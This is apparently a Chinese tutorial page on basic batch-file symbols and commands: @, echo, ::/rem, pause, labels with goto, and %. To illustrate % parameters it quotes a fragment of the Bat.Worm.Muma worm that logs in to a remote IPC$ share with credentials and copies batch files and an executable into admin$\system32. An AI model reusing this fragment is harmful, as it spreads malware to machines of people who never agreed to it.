批处理教程:基础语法之常见符号

介绍Bat编程中常见的符号,如:注释(#或::)、向控制台打印信息的echo、以及暂停当前bat,让用户按任意键继续执行、%符号、@符号的用法。

1、@ 符号

这个符号大家都不陌生,email 的必备符号,它怎么会跑到批处理中呢?呵呵, 不是它的错,批处理本来就离不开它, 要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身。通俗一点说, 行首有了它的话, 这一行的命令就不显示了。 在例五中, 首行的@echo off 中, @的作用就是让脚本在执行时不显示后面的 echo off 部分。 这下懂了吧?。

2、echo

中文为"反馈"、 "回显"的意思。 它其实是一个开关命令, 就是说它只有两种状态:打开和关闭。于是就有了 echo on 和 echo off 两个命令了。直接执行 echo 命令将显示当前 echo 命令状态,执行 echo off 将关闭回显,它后面的所有命令都不显示命令本身,只显示执行后的结果, 除非执行 echo on 命令。 在例五中, 首行的@命令和 echo off 命令联合起来, 达到了两个目的:不显示 echo off 命令本身,不显示以后各行中的命令本身。echo 命令的另一种用法

一、可以用它来显示信息! 如例五中倒数第二行, Default BAT file name is START.BAT 将在脚本执行后的窗口中显示, 而 echo 命令本身不显示 (为么??) 。

二、可以直接编辑文本文件。例六:

echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat

以上脚本内容的编辑方法是, 直接是命令行输入, 每行一回车。 最后就会在当前目录下生成一个 a.bat 的文件,直接执行就会得到结果。

3、:: 或 rem 符号

这个命令的作用很简单, 它是注释命令, 在批处理脚本中和 rem 命令等效。 它后面的内容在执行时不显示,也不起任何作用, 因为它只是注释,只是增加了脚本的可读性,和 C 语言中的/*............*/类似。

4、pause

中文为"暂停"的意思,我一直认为它是批处理中最简单的一个命令,单纯、实用。它的作用,是让当前程序进程暂停一下, 并显示一行信息:请按任意键继续. . .。在例五中这个命令运用了两次,第一次的作用是让使用者看清楚程序信息, 第二个是显示错误的汇编代码信息 (其实不是它想显示,而是 masm 程序在显示错误信息时被暂它停了,以便让你看清楚你的源代码错在哪里)。

5、: 和 goto

为什么要把这两个命令联合起来介绍?因为它们是分不开的,无论少了哪个或多了哪个都会出错。goto 是个跳转命令,:是一个标签。当程序运行到 goto 时,将自动跳转到:定义的部分去执行了。例五中倒数第 5 行行首出现一个:,则程序在运行到 goto 时就自动跳转到:标签定义的部分执行,结果是显示脚本 usage (usage 就是标签名称)。不难看出,goto 命令就是根据这个冒号和标签名称来寻找它该跳转的地方,它们是一一对应的关系。goto 命令也经常和 if 命令结合使用。至于这两个命令具体用法,参照例五。goto 命令的另一种用法一:提前结束程序。在程序中间使用 goto 命令跳转到某一标签,而这一标签的内容却定义为退出。如:

......
goto end
......
:end

这里:end 在脚本最后一行!其实这个例子很弱智,后面讲了 if 命令和组合命令你就知道了。

6、% 符号

这个百分号严格来说是算不上命令的,它只是批处理中的参数而已(多个%一起使用的情况除外,以后还将详细介绍),但千万别以为它只是参数就小看了它(看看例五中有多少地方用到它?),少了它批处理的功能就减少了 51%了。如:

net use \\%1\ipc$ %3 /u:"%2"
copy 11.BAT \\%1\admin$\system32 /y
copy 13.BAT \\%1\admin$\system32 /y
copy ipc2.BAT \\%1\admin$\system32 /y
copy NWZI.EXE \\%1\admin$\system32 /y
attrib \\%1\admin$\system32  .bat -r -h -s

以上代码是 Bat.Worm.Muma 病毒中的一部分,%1 代表的 IP,2%代表的 username,3%代表 password。执行形式为:脚本文件名 参数一 参数二 ......。假设这个脚本被保存为 a.bat,则执行形式如下:a IP username password。 这里 IP、username、password 是三个参数,缺一不可(因为程序不能正确运行,并不是因为少了参数语法就不对) 这样在脚本执行过程中, 脚本就自动用用你的三个参数依次(记住,是依次!也是一一对应的关系。)代换 1%、2%和 3%,这样就达到了灵活运用的目的(试想,如果在脚本中直接把 IP、username 和 password 都定义死,那么脚本的作用也就被固定了,但如果使用%的话,不同的参数可以达到不同的目的,是不是更灵活?)。

游手好闲地学习,并不比学习游手好闲好。 —— 约翰·贝勒斯
0 不喜欢
说说我的看法 -
全部评论(
没有评论
关于
本网站属于个人的非赢利性网站,转载的文章遵循原作者的版权声明,如果原文没有版权声明,请来信告知:hxstrive@outlook.com
公众号